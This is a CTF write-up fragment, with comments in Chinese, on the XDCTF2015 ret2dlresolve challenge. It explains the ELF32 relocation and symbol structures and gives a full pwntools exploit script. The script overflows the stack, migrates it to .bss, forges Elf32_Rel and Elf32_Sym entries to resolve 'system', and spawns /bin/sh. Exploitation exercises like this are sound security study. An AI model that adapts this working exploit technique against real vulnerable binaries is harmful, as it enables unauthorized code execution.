typedefstruct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel;
r_offset表示要修正的位置第一个字节相对于这个段的偏移
r_info 低8位表示要重定位类型,高24位是符号在符号表里的下标
typedefstruct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsignedchar st_info; /* Symbol type and binding */ unsignedchar st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
from pwn import * from LibcSearcher import * context(os='linux',arch='i386') pwnfile='./main_partial_relro_32' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) b = lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m") # db('b *0x804853A') io.recvuntil('Welcome to XDCTF2015~!\n') #stack mrigrate to new_stack栈迁移 bss_ad=elf.bss() new_stack=bss_ad+0x800+int((0x80487c4-0x080487A8)/2)*0x10 p('new_stack',new_stack) padding=b'a'*112 rop.raw(padding) rop.read(0,new_stack,100) rop.migrate(new_stack) sl(rop.chain())
#new_stack rop data rop = ROP(pwnfile) #get the .plt address plt0=elf.get_section_by_name('.plt').header.sh_addr dynsym = elf.get_section_by_name('.dynsym').header.sh_addr p('dynsym',dynsym) dynstr = elf.get_section_by_name('.dynstr').header.sh_addr p('dynstr',dynstr) p('plt',plt0) # get the data of .rel.plt rel_plt_ad=elf.get_section_by_name('.rel.plt').header.sh_addr p("rel_plt_ad",rel_plt_ad) rel_plt_data=elf.get_section_by_name('.rel.plt').data() write_got=elf.got['write'] #write_relplt_offset is the seonde parameter of _dl_runtime_resolve write_relplt_offset=rel_plt_data.find(p32(write_got)) p('write_relplt_offset',write_relplt_offset) #在新栈的30处伪造Elf32_Rel fake_write_relplt_offset=new_stack+30-rel_plt_ad #在新栈的40处伪造Elf32_Sym,但是由于Elf32_Sym需要16字节所以要16字节对齐,后面需要补个偏差值align fake_sym_addr=new_stack+40 align=0x10-(fake_sym_addr-dynsym)&0xf #next rop the padding should be 40+align fake_sym_addr=fake_sym_addr+align #伪造符号表Elf32_Sym在dynsym的下标 index_dynsym=int((fake_sym_addr-dynsym)/16) #高24位是符号在符号表里的下标,低8位为重定位类型 r_info=(index_dynsym<<8)|7 fake_write_reloc=flat([write_got,r_info]) gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr #在新栈的70处写入字符串system伪造字符串表 fake_write_str_ad=new_stack+70 #Elf32_Sym.st_name的距离dynstr的偏移 write_str_offset=fake_write_str_ad-dynstr fake_write_sym = flat([write_str_offset, 0, 0, 0x12]) print("ndx_addr: %s" % hex(gnu_version_addr+index_dynsym*2)) rop.raw(plt0) rop.raw(fake_write_relplt_offset) # fake ret of write rop.raw(b'a'*4) #parameter of system rop.raw(new_stack + 80) sh = b"/bin/sh\x00" write_str=b'system\x00' # print(len(rop.chain())) rop.raw(b'a'*(30-len(rop.chain()))) #fake_write_reloc rop.raw(fake_write_reloc) # rop.raw(rel_plt_data[write_relplt_offset:write_relplt_offset+8]) # print(rel_plt_data[write_relplt_offset:write_relplt_offset+8]) rop.raw(b'a'*(40+align-len(rop.chain()))) rop.raw(fake_write_sym) rop.raw(b'a'*(70-len(rop.chain()))) rop.raw(write_str) rop.raw(b'a' * (80 - len(rop.chain()))) rop.raw(sh) rop.raw(b'a' * (100 - len(rop.chain()))) # print(rop.dump()) # sleep(2) sl(rop.chain()) io.interactive()
rop.migrate(new_stack)的结果
pop ebp; ret的gadget new_stack-size_t leave; ret的gadget